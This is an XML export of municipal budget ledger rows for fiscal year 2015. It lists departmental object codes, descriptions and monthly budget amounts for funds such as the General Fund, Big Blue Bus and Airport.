<row _id="17572"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>544080.0</object><object_description>LICENSE TAGS / STICKERS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>350</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>350</total></row>
<row _id="17573"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>285540</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>285540</total></row>
<row _id="17574"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8081</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8081</total></row>
<row _id="17575"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20000</total></row>
<row _id="17576"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>566581.0</object><object_description>EMT CERTIFICATES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17577"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522991.0</object><object_description>FREIGHT AND SHIPPING</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>74708</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>74708</total></row>
<row _id="17578"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>409220.0</object><object_description>LOCAL COASTAL PROGRAM GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-125000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-125000</total></row>
<row _id="17579"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17580"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>409230.0</object><object_description>3400-3500 Airport Ave Reimburs</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-630349</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-630349</total></row>
<row _id="17581"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409006.0</object><object_description>CHILDCARE-FEBRUARY</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-31617</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-31617</total></row>
<row _id="17582"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409009.0</object><object_description>CHILDCARE-MAY</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-28731</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-28731</total></row>
<row _id="17583"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409020.0</object><object_description>ENRICHMENT PROGRAM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17584"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409031.0</object><object_description>CAMP SM-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-3266</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3266</total></row>
<row _id="17585"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409033.0</object><object_description>CAMP SM-SUMMER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-70240</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-70240</total></row>
<row _id="17586"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>102</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>102</total></row>
<row _id="17587"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1018</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1018</total></row>
<row _id="17588"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>80728</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>80728</total></row>
<row _id="17589"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579014.0</object><object_description>DISCRET-SM ARTS PARENTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17590"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562312.0</object><object_description>BOYS&amp;GIRLS CLUB-OT OF SCH TIME</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>135000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>135000</total></row>
<row _id="17591"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>577733.0</object><object_description>CHRYSALIS-SM EMPLOYMT CTR-CDBG</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>40000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>40000</total></row>
<row _id="17592"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1148</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1148</total></row>
<row _id="17593"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1544</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1544</total></row>
<row _id="17594"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>409360.0</object><object_description>DEVELOPER TDM PLAN FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-12961</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-12961</total></row>
<row _id="17595"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569420.0</object><object_description>SM CONSERVANCY</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7800</total></row>
<row _id="17596"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>577732.0</object><object_description>LAFLA-GEN COMMU LEGAL SVC-CDBG</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>80000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>80000</total></row>
<row _id="17597"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409053.0</object><object_description>MIDDLE SPORTS-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-26082</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-26082</total></row>
<row _id="17598"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409071.0</object><object_description>ROSIE'S GIRLS-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-5530</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5530</total></row>
<row _id="17599"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522230.0</object><object_description>CREDIT CARD FEES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>97790</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>97790</total></row>
<row _id="17600"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522230.0</object><object_description>CREDIT CARD FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>14668</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14668</total></row>
<row _id="17601"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511020.0</object><object_description>MOU CONTINGENCY</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1000000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000000</total></row>
<row _id="17602"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579962.0</object><object_description>BBB-GEN FUND REIMB-ISD</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-442327</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-442327</total></row>
<row _id="17603"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>21417</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>21417</total></row>
<row _id="17604"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>16007</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16007</total></row>
<row _id="17605"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-28855</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-28855</total></row>
<row _id="17606"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>9056</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9056</total></row>
<row _id="17607"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>24389</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24389</total></row>
<row _id="17608"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-19944</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-19944</total></row>
<row _id="17609"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1576</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1576</total></row>
<row _id="17610"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5270</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5270</total></row>
<row _id="17611"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>55737</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>55737</total></row>
<row _id="17612"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>556010.0</object><object_description>UTILITY CONTRACTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>469507</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>469507</total></row>
<row _id="17613"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17614"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5935</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5935</total></row>
<row _id="17615"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>11636</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11636</total></row>
<row _id="17616"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511050.0</object><object_description>CAPITAL PROJECT STAFFING</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-72521</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-72521</total></row>
<row _id="17617"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>544160.0</object><object_description>RIDESHARE PROGRAM</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7021</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7021</total></row>
<row _id="17618"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544512.0</object><object_description>WISE-CARE MANAGEMENT-DA</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>51552</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>51552</total></row>
<row _id="17619"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562157.0</object><object_description>FSSM-EDISON/MCKINLEY/MUIR ELEM</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>161329</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>161329</total></row>
<row _id="17620"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562704.0</object><object_description>HTA-YOUTH JOBS INITIATIVE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>92688</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>92688</total></row>
<row _id="17621"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569400.0</object><object_description>JACARANDA MUSIC</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>26000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26000</total></row>
